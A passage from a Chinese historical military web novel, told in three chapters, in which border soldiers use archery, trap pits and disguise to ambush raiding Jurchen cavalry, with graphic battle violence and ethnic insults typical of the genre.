“快来。”庞仁见了也不觉得有异,大声招呼着:“兄弟姐妹们,搭把手,帮忙打扫战场。能用的都别落下,卖了换钱,买过冬的粮食。”
他声音嘶哑却带着不容置疑,“妇人们收拾散落的武器,箭矢,小子们帮忙牵马,手脚快些。
**狗身上值钱的玩意儿都扒下来,待会要去堡里登记清楚。军堡到时发路费,分马肉。”
对于这些挣扎生活在边境,对**怀有深仇大恨的边民来说,参与到这场杀戮之后的“收获”中,本身就带着一种复仇的快意。
他们立刻加入了忙碌的行列,妇人们小心翼翼地捡拾地上的弯刀**,把零散的箭矢归拢到箩筐里。
小子们则兴奋地去牵那些已稍显温顺下来的战马缰绳。
男子们则毫不避讳地和军汉们一起,麻利地剥取**尸体上尚且能用的衣甲,靴子等物。
“乡亲们,速去边堡登记,再去城寨,县衙具状。”换上铁甲、外罩**厚重狼皮大氅、头戴毡帽的秦猛,活脱脱一个剽悍的女真骑士。
他吼声未落,人已矫健地翻身上了一匹健壮的草原战马。
“秦…猛…我。”乌维拎着染血的弯刀走来。
“你留在这儿,守着战利品,免得被人抢了去。”秦猛指着马匹和堆积的战利品,分派任务。
“好…”乌维瓮声回应。
“庞仁!”秦猛勒马转向,声音如铁。
“你率队护送战利品与乡亲返回军堡,战场务必清理干净!若有半分差池,老子唯你是问!”
“遵命!”庞仁挺胸肃立,声震四野。
张富贵及七八名精锐亲兵也已如法炮制,披挂上**装束。众人毫不耽搁,猛地一夹马腹。
一人双马,十多匹战马在尸骸血泊间践踏起暗红的泥浆,如同离弦的铁矢,撕裂惨白的月光,向着小南河口军堡的方向绝尘狂奔。
女真**不仅是来接应奴隶,更要袭击边堡。
——驰援,刻不容缓!
破庙战斗结束时,南河口烽燧堡——
“来了!来了!”哨塔上,戍卒强压着被寒风冻得发抖的身体,吸了吸鼻涕,颤音竟显得兴奋。
这微弱的示警,瞬间如冰水浇头,让所有严阵以待的戍卒精神一凛。
墙根下几只土狗脖颈硬**炸开,发出压抑的“呜呜”低吼,疯狂挣扎欲扑,嘴巴却被厚布笼头死死套住,只能徒劳地摇头晃脑,刨着冻土。
秦大壮扒着冰冷刺骨的墙垛,借着惨淡月光,模糊看到拒马河对岸有大批骑兵正在泅渡。
他心头剧震:“狗**!终于来了!”
秦大壮立刻俯身,低沉而急促的喝令沿着垛墙传递:“稳住,听号令,点火盆,准备接战。”
近两百女真骑兵如贪婪的狼群,悄然无声地渡过了界河,迅速集结,沉默地逼向耸立在黑暗中的燧堡。
这支队伍领队者,乃是图鲁木部落第一勇士——扎哈尔。
此人性情桀骜暴虐,勇冠部落,目空一切,除了酋长能够管束外,向来不服兀鲁思的节制。
长时间的等候、河口燧堡这片死寂的黑暗,像**般消磨着扎哈尔最后一丝耐性。他再也按捺不住那股嗜血的躁动,悍然率队渡河。
他盘算着:先拿下这个看似毫无防备的戍堡作为据点,再等那些卑贱的“汉奴”抵达过河,便可肆意扫荡铺堡,抢夺粮食人口,满载而归。
这位自诩为草原雄鹰的勇士却不知,猎人的目光早已将他锁死!
“**,汉人懦弱,胆小,狡猾。”望着矗立在三十多米土坡顶端的燧台,扎哈尔勒马张望,习惯性地低声咒骂,眼底掠过残忍的快意。
他猛地向后挥手,发出夜枭般的短促呼哨。
三十名身手最为矫健凶悍的汉子立即下马,腰挎弯刀,背负绳索,如鬼魅般向陡坡潜行。
他们经验老到,意图悄无声息地攀上堡墙,割开戍卒的喉咙,先占领烽火台,不惊动一人。
黑影已蠕动到陡坡下方,即将踏上坡体时——
就在此刻!
“轰!轰!轰!”
燧堡墙头,一个接一个的巨大火盆被猛然点燃。
炽烈的火焰骤然腾起,越烧越旺,橘红的光焰如同愤怒的神祇之眼,瞬间将黑暗撕得粉碎。
也将坡下那群正准备攀爬的**刺客,赤裸裸地暴露在强光之下。
突如其来的光明如同**,狠狠刺入他们的眼睛。
潜行者们下意识地抬手遮挡,不少人眼睛流泪,甚至叫唤,心头瞬间被巨大的恐慌攫住。
“不好!快…快撤——!”百多米外,扎哈尔瞳孔骤
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然收缩成针尖,破音的嘶吼喷薄而出。
可是,太迟了!
“听我号令,齐射——!”
秦大壮炸雷般的怒吼压过风声,响彻了夜空。
“按计划行事,两轮速射,射完蹲下,举盾——!”
“嘎吱、嘎吱”声响,等候多时的五十戍卒,张弓如满月,冰冷的箭镞直指坡下慌乱的羔羊。
边关戍卒,射术几乎是刻进骨子里的本事!弯弓搭箭,引而不发,他们的手指稳如山岩。
随着令下,齐齐松手、抽箭。
“嗡——!”
弓弦震荡的闷响汇成一片。
下一刻,密集的箭矢带着尖锐的破空厉啸,如同汹涌的铁流,铺天盖地倾泻而下。
南河堡戍卒配备的制式硬弓本就强劲,经鲁大匠改良更换弓片,省力,威力更是提升了两成。
“噗嗤,噗嗤,噗嗤……”
利刃入肉、筋骨碎裂的瘆人声响连绵不绝!凄厉到变调的惨嚎划破夜空。
第一波箭雨覆盖之下,最前面十多名**瞬间被扎成了血肉模糊的刺猬,哼都来不及哼一声,便栽倒在地。
紧随其后的刺客魂飞魄散,转身欲逃,第二波更疾更猛的箭雨已当头罩下。
眨眼间,三十名精心挑选的夜袭好手,横七竖八地倒毙在土坡之下,鲜血在月光下汩汩流淌,浸染冻土。
“嗷——,该死,还击!给我杀光这群汉狗。”
扎哈尔目睹自己最精锐的亲兵被当鸡仔般射杀,额头青筋暴跳如雷,眼珠瞬间血红。
他一把摘下背上的强弓,弓弦瞬间被拉至满月,箭簇指向堡墙火光。
身后百多女真骑兵亦是怒不可遏,同样暴怒弯弓。
密集的箭雨带着复仇的尖啸,**向堡墙!
“举盾——!”戍卒经验丰富,秦大壮的命令及时。
戍卒们闻令,瞬间消失在垛口之后,头顶响起一片“咄咄咄咄”的钝响。
**的箭矢,要么深深钉入厚实的夯土堡墙,要么被戍卒们严丝合缝举起的包铁皮盾牌牢牢挡住。没有一根箭矢能威胁到墙后的身影。
“哈哈哈……**狗!”
“女真蠢猪,滚回你的猪圈啃泥巴去吧——!”
墙后,几个粗通女真话的戍卒放声狂笑,各种刻毒到极点的污言秽语、侮辱性绰号,如同刮骨的冰刀子,顺着风狠狠刮进扎哈尔的耳中!
“猪尾巴,狗杂碎。”
“长生天派你们这群废物来送死吗?”
“嗷——!!”扎哈尔只觉得一股腥甜直冲喉头。
这奇耻大辱如同烈火灼心!
什么第一勇士的骄傲在泼天的羞辱面前被碾得粉碎。
“啊…”他发出一声野兽般的癫狂嘶吼,腰刀疯狂劈砍着空气,声音因暴怒而扭曲变形。
“进攻,给老子踏平这个土堆!”
第35章 破狼骑,烽火起
“哈哈哈……女真狗,猪尾巴!”
“来来来,你这狗东西来推瓶土堆把!”
烽燧堡内狂笑声响彻黑夜,戍卒们鼓噪呐喊。嘴皮子狂甩,脏话连篇,极尽挑衅之能事。
“杀——!”
扎哈尔目眦欲裂,暴怒咆哮如同疯狼嗥月。
“杀,杀光汉狗,一个不留——!”
在他癫狂的驱使下,身后百多名余怒未消的女真骑兵发出野性的呼号,纷纷策动战马。
他们一部分在后面弯弓搭箭,对着堡墙狂射压制,一部分直接选择了最蛮横的方式——冲坡。
数十铁骑迂回狂奔,加速,加速,践踏着冻土。
轰隆隆,蹄声如雷,如同汹涌的黑色怒潮,沿着并不宽敞的斜坡,悍然扑向三十多米高的燧堡。
“找死!”墙垛后,秦大壮眼中寒光一闪,脸上毫无惧色,反而露出一丝早已等候多时的狠厉。
“稳住!听老子的!让他们尝尝陷马坑和铁蒺藜的滋味儿。”
这是秦猛前几天亲率众人,顶着凛冽朔风抢挖、布置的杀场。就是为了应对**的骑兵冲锋。
冲在最前头的女真精骑,狂催战马,嗷嗷怪叫着,意图凭借马力一举冲上坡顶,再跳跃攀爬。
就在战马高速冲刺、即将提升至坡顶爆发力的一瞬——
“轰隆,咔嚓!”
“唏律律——!”
凄厉至极的马嘶与沉闷的坍塌声同时炸响!最前方的几匹健骑前蹄踩入陷马马坑,这坑洞不大,恰好大过马蹄,马儿被绊,连人带马栽倒。
后面的马匹刹不住车,被摔飞,落入插满削尖木桩的大坑里,战马沉重的身躯带着巨大的冲力狠狠砸下,木桩瞬间刺穿马腹、顶碎马骨。
马上的骑士猝不及防,一同摔入坑,眼睁睁看着自己身体被木刺扎穿,发出绝望的惨叫。
多处陷马坑发挥作用,后面的战马收势不及,连环相撞。冲锋的势头被遏制,顿时乱作一团。
“不好,有坑,停下,停下!”后面的骑士惊恐大呼,拼命勒马。
然而,临阵混乱已如瘟疫般蔓延。
冲势稍缓的后队刚想绕开前方的血肉地狱,马蹄踏上缓坡更远处的冻土地面——
“噗嗤,噗嗤!”
更加密集而让人心寒的、锐器刺入马蹄角质的声音响起。
秦大壮让人在陷马坑外围,尤其是骑兵冲击最可能选择的冲刺线路上,撒下了尖棱铁蒺藜。
这些边军惯用的手段之一。
专为无蹄铁游牧骑兵准备的恶毒陷阱,此刻展现出骇人的杀伤力。
数匹健马吃痛之下,当即前蹄一软,马失前蹄,或人立而起,巨大的惯性将背上的骑士狠狠掼向前方。
运气差的脖子直接扭断,哀嚎不断。运气好摔个七荤八素的,却暴露在毫无遮蔽的缓坡上。
更多的马匹被铁蒺藜扎伤马腿,剧痛让它们惊恐地嘶鸣、跳跃、打转,完全打乱了队伍的阵型。
整个冲锋集群在短短几十米的缓坡中央彻底陷入了混乱和恐慌。
“给老子射!”秦大壮抓住这千载难逢的机会,怒吼声响彻夜空。
“稳住箭!别让这帮狗**有喘息的机会!”
墙垛之上,憋着一股狠劲儿的戍卒们终于露出了獠牙。
他们不需要瞄准,只需将手中强弓拉至半满,对着下方那片挤作一团、人喊马嘶的混乱区域——
“嗡——!”
急促的两波箭雨破空而出!
箭矢如同夏日的毒蜂群,嗡嗡作响,争先恐后地扑入混乱的**骑兵之中。
没有了整齐的阵型、高速的冲击力作掩护,混乱的人群和马匹成了最好的箭靶。
“噗、噗嗤……啊——!”
“我的腿!呃——!”
“马惊了!快拉住它!”
凄厉的惨叫声、濒死的马嘶声、惊怒的咒骂声瞬间交织在一起。
火光映照下,可以看到混乱的人群中不断有身影中箭**,鲜血如同泼墨般溅射在冰冷的冻土上。
染血的箭羽随处可见!
先前族人的鲜血尚未干涸,新的血河已然在坡上蔓延、汇流,刺鼻的血腥气和恐惧感迅速弥漫开来。
“撤——!快撤下来!!”
扎哈尔的双眼几欲滴血,他看着自己精心挑选的精锐部下,像蠢猪一样陷入对方的陷阱,在敌人箭雨下如同牲口般被屠戮,心如刀绞。
他虽然暴戾,但能成为图鲁木部第一勇士,绝非纯粹的蠢货。
这燧堡分明是早有准备!
依托高坡地利,陷阱密布,自己手下这点人手,根本不可能在短时间内强攻得下来。
再待下去,只能是无谓的送死。
“鸣哨,收兵,撤回来!!”扎哈尔的声音嘶哑,带着前所未有的**和狂暴。尖锐的骨哨声刺破喧嚣。
残余的女真骑兵如同听到了天籁,如蒙大赦般,带着伤员和惊魂未定的战马,丢下坡上横七竖八不下五十具人马尸体,仓皇如丧家之犬,狼狈不堪地退出了戍堡弓箭的有效射程。
他们在火光之外重新集结,马匹不安地刨蹄。
骑士们满身血污泥泞,惊魂未定地看着坡顶那座在火光中如同狰狞巨兽的燧堡,眼中充满了恐惧和后怕。
“呜~~~呜~~~”一阵悠长而古怪的嘲笑从墙垛后传来,显然是戍卒在模仿女**的鸣哨退兵号。
接着就是更高亢的、混合着汉话和生硬女真语的讥讽谩骂:
“猪尾巴,怎么夹着尾巴跑了?”
“长生天也救不了你们这些蠢猪!”
“来啊!爷爷的箭管够,够射你们这些狗**一个冬天了。”
……
听着这些诛心的辱骂,扎哈尔气得浑身发抖,牙齿咬得咯咯作响,几乎要咬碎!
但他死死攥着马缰,强行遏制住自己再次冲动的念头。
墙垛后,秦大壮那满是尘土和汗渍的脸上,憨厚的大脸上却绽放出前所未有的亢奋与自信。
他看着坡下那片狼藉的战场,数十具**尸体横陈。这种场面是他守堡十年都没遇到过的。
耳边是同袍们此起彼伏、夹杂着粗口却充满底气的哄笑声,这汉子胸中一股豪情喷薄而出。
“兄弟们——!”秦大壮猛地将手中血迹未干的长刀指向夜空,声音洪亮得
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能震动墙砖。
他几乎是吼出了秦猛管队官常常挂在嘴边的话:
“都看见了没?管队说得对,大家都是两个肩膀扛一个脑袋。
**照样是白刀子进去红刀子出来,没什么好怕的。”
“他们就是一群披着狼皮的狗!仗着马快欺负软柿子!”
“真打起来,有了准备,有了这堡墙,他们就得给咱们跪下磕头!”
“咱们戍堡的爷们儿,是好样的!!”
这振聋发聩的吼声,仿佛在每一个戍卒胸中点燃了一把火!长久以来,他们面对**多是守备、挨打、被动防御甚至惨遭屠戮的记忆。
从未像今天这般酣畅淋漓地痛宰对手。
秦大壮转述上官的话语,结合这眼前血淋淋的战果,瞬间点燃了所有人心底最深沉的勇气和骄傲。
之前那种面对**的恐惧、颓丧气氛被一扫而空。
每个戍卒都挺直了腰杆,如饿狼般盯着**们,眼中闪烁着劫后余生的兴奋和舍我其谁的凶狠!
“烧**狼烟,快点!”秦大壮吼道。
“烽火越烧越旺,吹响号角,通知附近铺堡,村镇。有**大队过界了!让他们都支棱起来!”
“关门,上墙,亮刀子!”
“狗**敢来,就照着坡下这帮死狗的样子,给老子狠狠的打!”
几捆早已备好的、混着狼粪的柴草被迅速点燃,投入墙头巨大的烽燧中,浓烈的黑烟裹挟着火光犹如火龙,瞬间拔地而起,直冲云霄。
在这清冷昏暗的冬夜之下,这道笔直、喷吐着火星的黑色烟柱,清晰得如同刺向天际的矛锋。
它在无言的宣告:
烽火已燃,敌寇已至!
小南河堡上下,准备杀**!
……
“快,**来了,准备作战!”
南河堡,队长李山,刘铁柱见到燧堡烽火,召集军卒迎战,王保长则冷静地让妇孺躲藏好……
“驾…驾……”
夜色浓稠如墨,寒风如细碎的刀子抽在脸上生疼。
秦猛率领队伍,顶着刺骨的严寒,奋力催马,朝着轮廓在黑暗中若隐若现的军堡方向狂奔。
沉重的马蹄叩击着冻硬的土地,发出闷雷般的回响。
眼看就要抵达——
“呜——呜——呜——!”
凄厉又充满惶急之意的号角声,猛然撕裂了黎明前的寂静。
那绵长的号声来自烽燧堡方向,在空旷死寂的寒夜里激荡、扩散、回旋,如同一把冰冷的凿子,狠狠钻入每个人的耳膜,直捣心窝。
“大人快看!”后面军汉嘶声呼喊,难掩惊慌。
众人循声望去!
只见烽燧堡所在的方位,天空已被一片令人心悸的火红染透!在青灰死寂的天幕映衬下,那道从烽燧顶端冲天而起的光柱,格外醒目。
——烽燧示警!狼烟燃起!异族寇边!
“两声长号,两百左右。”张富贵咬牙切齿地骂着。
“走,去燧堡,靠近些看看!”秦猛声音低沉,压下心头澎湃的杀意,一挥马鞭,当先冲出。
队伍紧随其后,战马奔驰带起的寒风更显凌厉。
第36章 狂妄与狩猎
夯土筑就的燧堡堡墙在冲天火光下忽明忽暗。紧闭的高大堡门仿佛一张惊恐合拢的巨口。
堡墙下的土坡上,触目惊心的暗红浸透了冻土。
尸体横七竖八地倒伏着,坑里被扎穿身体的马儿抽搐哀鸣,被寒风吹走最后的挣扎与绝望。
堡外,约莫数十骑女真精锐策马徘徊,如同嗅到血腥的群狼。
他们面目狰狞,说着蹩脚的汉话,朝堡墙上张狂地大声叫骂着。污言秽语混杂着听不懂的胡语。
反过来极尽挑衅戍卒们,却忌惮于缓坡上的陷阱和堡墙上严阵以待的**手,不敢冲锋强攻。
唯独一名魁梧异常的女真汉子,座下一匹通体如墨、神骏非凡的巨马,在堡墙下耀武扬威。
正是部落头号勇士扎哈尔。
他比秦猛生擒的女真猛安兀鲁思还要高出半头,魁梧身躯披着铁板甲,仿佛一尊移动的铁塔。
他猛地一夹马腹,战马如一道黑色闪电冲向堡门!
进入箭矢射程瞬间,他猿臂舒展,弓开满月,图鲁木部酋长送的宝雕弓被拉得吱嘎作响。
“嘣!”弓弦炸响,一支黑翎重箭带着锐啸钉入堡门旁夯土墙,箭头深没,尾羽剧烈震颤。
“哈哈哈……汉狗!”扎哈尔侧身避过堡上乱箭,调转马头扬长而去,嚣张大笑在火光中回荡。
燧堡土墙上,队将秦大壮脸色铁青,握刀的手指因用力而指节泛白,牙齿咬得咯咯作响。
“直娘贼的**!”众军汉大骂。
这,是赤裸裸的挑衅,是在边军脸上抽耳光。
奈何,大周虽富庶,却不产高大战马。
小小边墩仅三匹堪用战马,比不过马背上长大的蛮夷部落。
此刻只能依托燧堡,像缩壳的乌龟,任对手耀武扬威。
堡外的女真**忌惮强攻损失,分股在周围策马兜圈、不时冲近燧堡,狂笑怒骂,肆意挑衅。
试图激怒守军野战,再以铁骑屠戮。
距燧堡二百米之外,枯黄蒿草覆盖的林带里,一双眼睛锐利如鹰隼,透过枝叶盯住堡外一切。
是秦猛,率队来到附近林子,他独自一人摸近,查看燧堡的情况,并没有危险,心头稍安。
但,更沉重的忧虑瞬间攫住他。
这支女真骑兵最多四五十骑,对烽燧示警时,两声长号,两百人的规模而言,太少了!
他扫过开阔地与远处丘陵,答案呼之欲出。
——**领队扎哈尔吃了暗亏,见烽燧点燃知强攻不易,分出主力,少部分人牵制住燧堡。
大股骑队定在搜寻附近村堡屯庄,不仅要用汉人的鲜血浇灭怒火,而且可以逼对方来援。
只要出堡,女真勇士的战马和弯刀无可阻挡。
——这是勇士扎哈尔想到的法子,为此沾沾自喜。他还认为只要三五个人就能劫掠汉人村坊。
秦猛看到坡上的尸体后,也猜到大概。他心里一突,瞬间想到小南河堡,陈月娘和小芸!
就在他越想越焦虑、准备退走,立刻折返的刹那,余光瞥见低洼草坡下有三骑女真游哨靠近。
他们呈品字形,马蹄踩着冻土搜寻,孤零零三骑。明显就是散开寻找附近铺堡,村坊的小队。
秦猛眼神越发冰冷,夹杂着杀机。
三个…?
以为分兵就能亮后背给汉人?
真当汉人的刀都锈了?以为戍卒只会龟缩防守?
这些**,近些年越发猖獗,狂妄到令人发指!
秦猛深吸几口凛冽寒气,强行将焦躁与牵挂压回心底。锁定三个游骑,嘴角勾起冷酷的笑。
三个…只要动作够快、够狠、够隐蔽。他弓下腰背,融入蒿草与乱石阴影,如贴地滑行的毒蛇。
每一步都踩在最静音的支点,每一次移动都卡在对方视野空隙。
寒霜浸透衣裤刺骨冰凉,他毫不在意,屏息凝神,感官凝聚极致,眼眸只剩越来越近的目标。
三骑趟过未冻结的泥泞滩涂,马蹄带起枯叶。
连续紧张搜寻让他们精神松懈,目光投向远处,低声交谈着,对不足十步的杀机毫无所觉。
当最右侧女真骑兵的坐骑绕过半人高的苔藓巨石时——
石后阴影里,秦猛如猎豹般弹射而起。
他左手如铁钳捂住对方嘴鼻,右手横刀刀尖向上,角度极为刁钻,捅入胸甲下肋骨缝隙。
噗嗤!利刃破甲入心脏,手腕猛拧。
“嗬…!”女真兵眼球暴突,身体剧烈一挺,如离水的虾,指缝挤出绝望气音,瞬间瘫软。
“该死…”左侧同伴闻声惊觉,瞥见异常欲吼,手摸箭囊欲抽箭。
秦猛动作更快!旋身拧腰如释弦强弓,右臂甩动,早就握在手中的沉重柴刀高速旋转射出。
嗡——!柴刀带死神尖啸,寒光一闪!
噗!咔!
刀锋斩入第二名女真兵脖颈,劈开皮肉与颈骨。
鲜血喷溅,半声怪响戛止,身体如木偶滑下马背,只剩无意识抽搐。
“**!”最后一名女真兵惊骇嘶吼,调转马头,抬弓欲射绝望一箭。
秦猛解决第二人的瞬间,右脚蹬地如强**劲矢,直扑第三骑。
对方弯弓搭箭指向他时,秦猛已抢步马侧,俯身捞住剧烈甩动的马尾,发力狠扯,猛拽。
“唏律律——!”战马剧痛长嘶,臀部下挫。
马背上女真兵失衡后仰。
秦猛双足发力,如怒虎撞入对方怀中。
砰,两人如滚地葫芦摔落冻土,激起尘土枯叶。
秦猛落地,揪住对方的领口,将其死死压住。
在对方瞳孔映出敌人冰冷杀意时,在惊恐嘶吼冲至喉咙口瞬间——砂锅大的拳头迅速放大。
秦猛的拳头凝聚千斤力,如攻城锤砸向
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对方喉结。
咔嚓!令人牙酸的骨裂声响起,
女真兵的惨叫被摁在喉咙中,双眼暴凸满是惊骇,身体僵直后剧烈抽搐,彻底失去生机。
静!
冰冷空气里弥漫开铁锈与腥膻的浓烈气味。
三具尸体横陈泥泞冻土,鲜血染红了大片腐叶。
秦猛胸膛起伏着,每口呼吸都带白气。
他抹了一把溅到脸上的泥浆与血污,冰冷的眼神扫过四周。远处烽燧堡的喊杀,叫骂依旧。
“大人,大人!”张富贵等军汉终于策马赶到。
他们在后方林子里等待消息,听到这边传来短暂而激烈的打斗声,便拼命打马赶来救援。
然而,他们火速赶来,却是三具**尸体、刚刚起身,浑身煞气的秦猛。以及透过林子目睹几乎是呼吸之间,秦猛击杀三个**的场景。
寂静的杀戮现场冲击力十足。
张富贵等人一时哑然,看向秦猛时,眼中敬畏更甚,
“这群**狂妄没边,三人一队,正好猎杀,就这样杀。”秦猛看向张富贵等人,声音如同冰坨子般砸在地上,带着不容置疑的决断。
“你们,穿着**的皮袄袍子,挂着他们的弯刀弓箭。现在!立刻!分成两队,像他们一样,牵着马,东张西望,做出搜寻的样子。”
他语速极快,条理清晰:“一队在前,伪装靠近。另一队拉开二十步左右距离,策应断后。
遇到零散的**小队,直接贴过去,让他们放松警惕!接近到十步内,立刻动手。动手要快,要狠,要准!绝对不要留活口,明白吗?”
“明白!”
“明白!大人!”这群边堡汉子脸上最初的惊骇褪去,取而代之的是一种被血腥激起的、混合着恐惧与兴奋的火焰。
他们是被秦猛调教过,看着秦猛几乎瞬间杀三人的雷霆手段,他们胸膛里的血也渐渐沸腾起来。
秦猛迅速将三具还在渗血的尸身拖起,横搁在收拢回来的**战马背上,又将六匹马的缰绳牢牢拴在几棵粗壮树干旁的浓密阴影里。
“这些**马都是好脚力,金贵得很。咱堡骑兵就靠它,拴紧实了。别让它们受惊乱跑。”
秦猛拍着健壮的草原马,厉声嘱咐。
“我往左,你们往右!”秦猛一把拉过张富贵递来的缰绳,翻身上了自己的枣红马,马鞭指向铺堡方向。
“**主力很可能去袭扰村坊铺堡了。找到他们,用我们刚刚的方法,削弱他们的力量。记住,我是猎手,你们也是,别给老子怂了!”
他最后盯了众人一眼,猛地一夹马腹。
“左右环绕一圈,我回前堡,你们去后堡方向。”
话音未落,枣红马马一声长嘶,人立而起,随即如同一道离弦的红色闪电,朝着铺堡方向狂飙而去,眨眼间,没入茂密树林的黑暗……
第37章 猎杀进行时
林子里,马蹄声迅速远去!
“都听见了吗?”张富贵看着秦猛消失的方向,猛地回头。
他对着还沉浸在震惊和热血中的同伴们吼道,声音因为激动而微微发颤,“咱们作为堡精锐。不能给大人丢脸!更不能给祖宗丢脸!”
“干了!”
“学了这么久本事,不就是等此刻剁**脑袋吗?”
“富贵哥,你说咋办就咋办!”
汉子们纷纷低吼应和,胸腔里只剩下昂然的战意。
他们迅速按照秦猛留下的战术要求,快速分成两队。
张富贵带着三个身手利落、心理素质相对过硬的老兵为一队。
另一队则由悍勇老卒王铁山带领四人,两队皆缴获并配备了双马,穿着刚扒下来带血的**皮袍,乍一看,与女真游骑已难辨真假。
他们狠狠一夹马腹,脱离林带,朝着秦猛指定的右翼方向,如同两股奔腾的暗流,融入林带。
离开秦猛不过半盏茶的功夫,沿着一条干涸古河道边缘搜寻的王铁山队,率先发现了一小队三名女真兵。
这三人正沿着一条低矮的土埂不紧不慢地巡逻,目光扫视着前方田地,迅速向铺堡靠拢。
“呜…吁呜……”张富贵队稍落后,隔着一段距离,他努力模仿着女真呼哨,并朝着王铁山那边挥了挥手。
王铁山立刻会意,带着他那队人稍微加快了些速度,并散开,朝着那三个目标靠了过去。
对方有所察觉,勒住马缰望了过来。
夜色朦胧,距离尚远,加上张富贵、王铁山等人刻意佝偻着腰,穿着打扮又相似,并未立刻引起强烈警惕。
二十步…十五步…十步!
就在靠近到几乎能看清对方面部冷漠表情的瞬间。
“动手!”
张富贵队中一名年轻的军汉,因过度紧张,在对方审视的目光下,搭在箭弦上的手指下意识地一松。
嘣,箭矢离弦!
却只险险擦着为首那名女真骑兵的肩头飞过。
“敌袭!”短暂的惊愕后,三个女真兵瞬间反应过来,操着胡语嘶吼!纷纷去抽弯刀弯弓。
计划瞬间被打乱!
但生死关头,犹豫即是死。
“强杀!”王铁山眼中凶光暴闪。
他离得最近,胯下战马已经冲到目标右侧。
哪里还管什么完美计划?
几乎是本能地,王铁山矮身避过对方劈来的弯刀。
他左手猛地抓住对方持刀的手臂,右手的**弯刀借着战马冲势和全身的力气,自下而上、从对方毫无防护的右肋狠狠捅了进去。
“呃啊——!”滚烫的鲜血溅了王铁山满头满脸。
与此同时,张富贵队也猛扑而至。
那名因紧张失手的年轻军汉,目睹同伴冲杀、敌人血溅当场,反倒被血腥激发了凶性。
他在慌乱中下意识地再次搭箭,近距离瞄准了离自己最近、正挥刀劈砍王铁山的一名女真兵。
噗嗤!
这一次,箭矢狠狠钉入了对方的眼窝。
惨叫声刚刚响起!
张富贵已从侧翼拍马冲到,手中沉重的马刀毫不留情地斜劈而下。力道之猛,竟将那正捂着眼睛惨叫的女真兵连带着半截臂膀一同斩落。
最后一个女真兵见同伴瞬间惨死,心胆俱裂,拔马就想跑。
“拦住他。”张富贵急吼。
旁边一个军汉慌忙从背后摘下硬弓,仓促射出一箭,却因用力过猛失了准头,仅仅钉在那人坐骑的后臀上,战马吃痛嘶鸣,前蹄失蹄。
但也正是这片刻的迟滞,另一名王铁山手下的老兵已经从后面追到,俯身一刀,狠狠剁在了**女真兵的后颈。
噗!人头翻滚。
战斗结束,干净利落。
然而众人都是气喘如牛,心跳如鼓。
张富贵瞪着那名年轻军汉:“狗娃,手要稳,心要狠!”
“我…我记住了,富贵哥!”小伙狗娃看着地上的尸体和血迹,脸色煞白,但眼神渐渐变得凶狠起来。
稍作喘息,拴好马匹。两队重新拉开距离。
这一次,他们配合更为沉稳。
很快,在靠近一片稀疏矮树林的边缘,再次发现一小股两骑女真兵。
张富贵打手势,王铁山队照例主动靠近。
两骑**兵估计落单迷路,显然警惕性高了许多,远远看见人影移动便勒马不动,大声喝问。
王铁山队中一名懂几句粗浅胡语的军汉壮着胆子,按照之前想好的应对之辞,含混地回应着,说着中途相遇,脚下马速不减继续靠近。
五步…
眼看对方稍有松懈,王铁山低吼:“射。”
他队中两人早已搭箭在手。两箭齐发。
噗!噗!
一箭精准贯入其中一人面门,另一箭虽偏了稍许,射中肩膀,却也将对方射得滚下马来。
此时,张富贵队已从侧后方散开包抄到位。
那名**的女真兵挣扎着还想用角弓反击,被包抄而至的五骑军汉夹在中间,刀矛齐下,瞬间被砍中脖子,戳穿胸膛,了结了性命。
另一名被射倒的女真兵尚未断气,试图爬起拿武器。
张富贵策马赶到,毫不犹豫俯身一刀,斩断了他的脖颈。
整个过程无声无息,只有兵刃破空和倒地的闷响。
“继续!”稍作休息后,张富贵再次带人开始猎杀。
……
秦猛这边,与众人分开,化作密林里的人形修罗。
他的目光如同猎鹰般锐利。
很快,一支三人的女真**队出现在视野中。这队人正沿着河岸稀疏的树林边缘靠近铺堡。
“呜哇,乌拉…”秦猛催马加速,喉咙里模仿着女**粗嘎的呼哨,枣红马疾驰向他们靠近。
为首的一个女真兵似乎听到了马蹄声和呼喝,诧异地回头张望。
就在双方距离拉近到不足二十步,那三人不认得秦猛,他们脸上明显露出疑惑表情的瞬间。
嗡——!弓弦惊颤的嗡鸣。
噗嗤!
一支利箭带着刺耳的破空声骤然射出,如毒蛇吐信。
目标赫然是对方一只瞪大的眼睛。
锥形铁质箭头旋转着,轻易贯穿眼球、直没入脑。
“啊——!”惨绝人寰的哀嚎刚刚出口,秦猛已纵马冲至。借着马匹前冲的惯性,他手中的弯刀划过一道耀眼的、带着冰冷月牙弧光的弧线。
喀嚓!
利刃
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斩断骨骼的闷响。
一颗头颅带着喷溅的血泉冲天飞起,无头的尸体轰然坠马。
另外两人这才惊觉骇变。
其中一个反应稍快,下意识弯弓搭箭,但枣红马快,秦猛没给他机会,一拳打中他的面门。
那女真兵惨叫一声,身体不受控制地向后仰倒,秦猛拨转马头,手腕翻转,弯刀寒光闪烁,顺势一抹,对方的脖子便被利落地切断。
最后一人眼中满是恐惧,哆嗦着手想弯弓搭箭,可惜越急越出错,弓弦几次都没能挂上箭簇。
秦猛却狞笑着,已经拍马冲来,手中弯刀力劈而下,干脆利落地砍掉了他的脑袋!
依靠着血腥高效的突袭战术,再加上超强的视觉,他如同黑夜中最致命的猎手,又如同跗骨之蛆,连续拔掉了另外三支落单的女真小队。
秦猛摒弃了所有花哨,将“伪装接近、暴起发难、一击必杀”的要诀发挥到淋漓极致。
马蹄翻飞,刀光闪烁,真正发挥出了战马和弯刀的威力!
事实证明,只要装备好,汉人同感,能够肆虐草原!
秦猛的脸颊、手臂、衣甲已被一层又一层粘稠而尚未冷却的鲜血反复浸透、板结凝固。
枣红马原本油亮的黄鬃**上,也凝结着大片暗紫色的血块和泥垢,散发着浓烈的死亡气息。
秦猛浑身透着杀气,眼神却越发沉静,沉静之下是冰封万尺的杀机,只为锁定下一处目标。
就在这时!
铺堡方向,那个他牵挂至极、却因猎杀而稍稍远离的方向。
一簇新的、更为浓烈更为刺目的火光,猛地腾空而起。
——那火光分为前后两处,猩红暴戾,犹如地底喷发的熔岩,瞬间将这最黑暗的黎明点亮。
紧接着!
“哐!哐哐哐!哐哐哐…!”
一阵阵急促得如同催命符、几乎连成一线的铜锣敲击声。
隔着数里之遥,被凛冽的晨风撕扯着,清晰的、狂暴的、无比刺耳地敲击着秦猛的耳鼓。
是铺堡,是堡子里召集所有青壮,拼死抵挡的信号。
军堡遇袭,陈月娘!秦小芸!
秦猛的心脏骤然被一只无形巨手攥紧。一股不可抑制的愤怒迸发,心脏扑通扑通狂跳着。
“月娘!小芸!”秦猛声音沙哑。
再无犹豫,再无他念,猎杀终止!
